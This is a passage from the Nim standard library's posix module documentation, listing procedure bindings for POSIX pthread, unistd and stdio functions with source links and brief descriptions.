[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L388) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L388) ``` proc pthread_mutexattr_getprioceiling(a1: ptr Pthread_mutexattr; a2: var cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L390) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L390) ``` proc pthread_mutexattr_getprotocol(a1: ptr Pthread_mutexattr; a2: var cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L392) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L392) ``` proc pthread_mutexattr_getpshared(a1: ptr Pthread_mutexattr; a2: var cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L394) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L394) ``` proc pthread_mutexattr_gettype(a1: ptr Pthread_mutexattr; a2: var cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L396) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L396) ``` proc pthread_mutexattr_init(a1: ptr Pthread_mutexattr): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L399) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L399) ``` proc pthread_mutexattr_setprioceiling(a1: ptr Pthread_mutexattr; a2: cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L400) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L400) ``` proc pthread_mutexattr_setprotocol(a1: ptr Pthread_mutexattr; a2: cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L401) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L401) ``` proc pthread_mutexattr_setpshared(a1: ptr Pthread_mutexattr; a2: cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L402) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L402) ``` proc pthread_mutexattr_settype(a1: ptr Pthread_mutexattr; a2: cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L403) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L403) ``` proc pthread_once(a1: ptr Pthread_once; a2: proc () {...}{.noconv.}): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L405) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L405) ``` proc pthread_rwlock_destroy(a1: ptr Pthread_rwlock): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L407) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L407) ``` proc pthread_rwlock_init(a1: ptr Pthread_rwlock; a2: ptr Pthread_rwlockattr): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L408) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L408) ``` proc pthread_rwlock_rdlock(a1: ptr Pthread_rwlock): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L410) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L410) ``` proc pthread_rwlock_timedrdlock(a1: ptr Pthread_rwlock; a2: ptr Timespec): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L411) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L411) ``` proc pthread_rwlock_timedwrlock(a1: ptr Pthread_rwlock; a2: ptr Timespec): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L413) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L413) ``` proc pthread_rwlock_tryrdlock(a1: ptr Pthread_rwlock): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L416) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L416) ``` proc pthread_rwlock_trywrlock(a1: ptr Pthread_rwlock): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L417) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L417) ``` proc pthread_rwlock_unlock(a1: ptr Pthread_rwlock): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L418) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L418) ``` proc pthread_rwlock_wrlock(a1: ptr Pthread_rwlock): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L419) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L419) ``` proc pthread_rwlockattr_destroy(a1: ptr Pthread_rwlockattr): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L420) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L420) ``` proc pthread_rwlockattr_getpshared(a1: ptr Pthread_rwlockattr; a2: var cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L421) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L421) ``` proc pthread_rwlockattr_init(a1: ptr Pthread_rwlockattr): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L423) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L423) ``` proc pthread_rwlockattr_setpshared(a1: ptr Pthread_rwlockattr; a2: cint): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L424) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L424) ``` proc pthread_self(): Pthread {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L426) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L426) ``` proc pthread_setcancelstate(a1: cint; a2: var cint): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L427) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L427) ``` proc pthread_setcanceltype(a1: cint; a2: var cint): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L428) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L428) ``` proc pthread_setconcurrency(a1: cint): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L429) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L429) ``` proc pthread_setschedparam(a1: Pthread; a2: cint; a3: ptr Sched_param): cint {...}{. importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L430) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L430) ``` proc pthread_setschedprio(a1: Pthread; a2: cint): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L433) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L433) ``` proc pthread_setspecific(a1: Pthread_key; a2: pointer): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L435) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L435) ``` proc pthread_spin_destroy(a1: ptr Pthread_spinlock): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L437) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L437) ``` proc pthread_spin_init(a1: ptr Pthread_spinlock; a2: cint): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L439) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L439) ``` proc pthread_spin_lock(a1: ptr Pthread_spinlock): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L441) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L441) ``` proc pthread_spin_trylock(a1: ptr Pthread_spinlock): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L443) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L443) ``` proc pthread_spin_unlock(a1: ptr Pthread_spinlock): cint {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L445) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L445) ``` proc pthread_testcancel() {...}{.importc, header: "<pthread.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L447) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L447) ``` proc exitnow(code: int): void {...}{.importc: "_exit", header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L450) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L450) ``` proc access(a1: cstring; a2: cint): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L451) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L451) ``` proc alarm(a1: cint): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L452) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L452) ``` proc chdir(a1: cstring): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L453) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L453) ``` proc chown(a1: cstring; a2: Uid; a3: Gid): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L454) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L454) ``` proc close(a1: cint | SocketHandle): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L455) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L455) ``` proc confstr(a1: cint; a2: cstring; a3: int): int {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L456) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L456) ``` proc crypt(a1, a2: cstring): cstring {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L457) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L457) ``` proc ctermid(a1: cstring): cstring {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L458) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L458) ``` proc dup(a1: cint): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L459) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L459) ``` proc dup2(a1, a2: cint): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L460) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L460) ``` proc encrypt(a1: array[0 .. 63, char]; a2: cint) {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L461) ``` proc execl(a1, a2: cstring): cint {...}{.varargs, importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L463) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L463) ``` proc execle(a1, a2: cstring): cint {...}{.varargs, importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L464) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L464) ``` proc execlp(a1, a2: cstring): cint {...}{.varargs, importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L465) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L465) ``` proc execv(a1: cstring; a2: cstringArray): cint {...}{.importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L466) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L466) ``` proc execve(a1: cstring; a2, a3: cstringArray): cint {...}{.importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L467) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L467) ``` proc execvp(a1: cstring; a2: cstringArray): cint {...}{.importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L469) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L469) ``` proc execvpe(a1: cstring; a2: cstringArray; a3: cstringArray): cint {...}{.importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L470) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L470) ``` proc fchown(a1: cint; a2: Uid; a3: Gid): cint {...}{.importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L471) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L471) ``` proc fchdir(a1: cint): cint {...}{.importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L472) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L472) ``` proc fdatasync(a1: cint): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L473) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L473) ``` proc fork(): Pid {...}{.importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L474) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L474) ``` proc fpathconf(a1, a2: cint): int {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L475) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L475) ``` proc fsync(a1: cint): cint {...}{.importc, header: "<unistd.h>".} ``` synchronize a file's buffer cache to the storage device [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L476) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L476) ``` proc ftruncate(a1: cint; a2: Off): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L479) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L479) ``` proc getcwd(a1: cstring; a2: int): cstring {...}{.importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L480) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L480) ``` proc getuid(): Uid {...}{.importc, header: "<unistd.h>", sideEffect.} ``` returns the real user ID of the calling process [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L481) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L481) ``` proc geteuid(): Uid {...}{.importc, header: "<unistd.h>", sideEffect.} ``` returns the effective user ID of the calling process [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L484) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L484) ``` proc getgid(): Gid {...}{.importc, header: "<unistd.h>", sideEffect.} ``` returns the real group ID of the calling process [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L487) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L487) ``` proc getegid(): Gid {...}{.importc, header: "<unistd.h>", sideEffect.} ``` returns the effective group ID of the calling process [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L490) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L490) ``` proc getgroups(a1: cint; a2: ptr array[0 .. 255, Gid]): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L493) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L493) ``` proc gethostid(): int {...}{.importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L495) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L495) ``` proc gethostname(a1: cstring; a2: int): cint {...}{.importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L496) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L496) ``` proc getlogin(): cstring {...}{.importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L497) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L497) ``` proc getlogin_r(a1: cstring; a2: int): cint {...}{.importc, header: "<unistd.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L498) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L498) ``` proc getopt(a1: cint; a2: cstringArray; a3: cstring): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L500) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L500) ``` proc getpgid(a1: Pid): Pid {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L502) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L502) ``` proc getpgrp(): Pid {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L503) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L503) ``` proc getpid(): Pid {...}{.importc, header: "<unistd.h>", sideEffect.} ``` returns the process ID (PID) of the calling process [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L504) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L504) ``` proc getppid(): Pid {...}{.importc, header: "<unistd.h>", sideEffect.} ``` returns the process ID of the parent of the calling process [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L507) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L507) ``` proc getsid(a1: Pid): Pid {...}{.importc, header: "<unistd.h>", sideEffect.} ``` returns the session ID of the calling process [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L510) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L510) ``` proc getwd(a1: cstring): cstring {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L513) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L513) ``` proc isatty(a1: cint): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L514) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L514) ``` proc lchown(a1: cstring; a2: Uid; a3: Gid): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L515) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L515) ``` proc link(a1, a2: cstring): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L516) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L516) ``` proc lockf(a1, a2: cint; a3: Off): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L518) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L518) ``` proc lseek(a1: cint; a2: Off; a3: cint): Off {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L519) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L519) ``` proc nice(a1: cint): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L520) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L520) ``` proc pathconf(a1: cstring; a2: cint): int {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L521) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L521) ``` proc pause(): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L523) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L523) ``` proc pclose(a: File): cint {...}{.importc, header: "<stdio.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L524) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L524) ``` proc pipe(a: array[0 .. 1, cint]): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L525) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L525) ``` proc popen(a1, a2: cstring): File {...}{.importc, header: "<stdio.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L526) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L526) ``` proc pread(a1: cint; a2: pointer; a3: int; a4: Off): int {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L527) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L527) ``` proc pwrite(a1: cint; a2: pointer; a3: int; a4: Off): int {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L529) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L529) ``` proc read(a1: cint; a2: pointer; a3: int): int {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L531) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L531) ``` proc readlink(a1, a2: cstring; a3: int): int {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L532) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L532) ``` proc ioctl(f: FileHandle; device: uint): int {...}{.importc: "ioctl", header: "<sys/ioctl.h>", varargs, tags: [WriteIOEffect].} ``` A system call for device-specific input/output operations and other operations which cannot be expressed by regular system calls [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L533) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L533) ``` proc rmdir(a1: cstring): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L538) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L538) ``` proc setegid(a1: Gid): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L539) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L539) ``` proc seteuid(a1: Uid): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L540) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L540) ``` proc setgid(a1: Gid): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L541) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L541) ``` proc setpgid(a1, a2: Pid): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L543) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L543) ``` proc setpgrp(): Pid {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L544) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L544) ``` proc setregid(a1, a2: Gid): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L545) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L545) ``` proc setreuid(a1, a2: Uid): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L546) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L546) ``` proc setsid(): Pid {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L547) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L547) ``` proc setuid(a1: Uid): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L548) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L548) ``` proc sleep(a1: cint): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L549) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L549) ``` proc swab(a1, a2: pointer; a3: int) {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L550) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L550) ``` proc symlink(a1, a2: cstring): cint {...}{.importc, header: 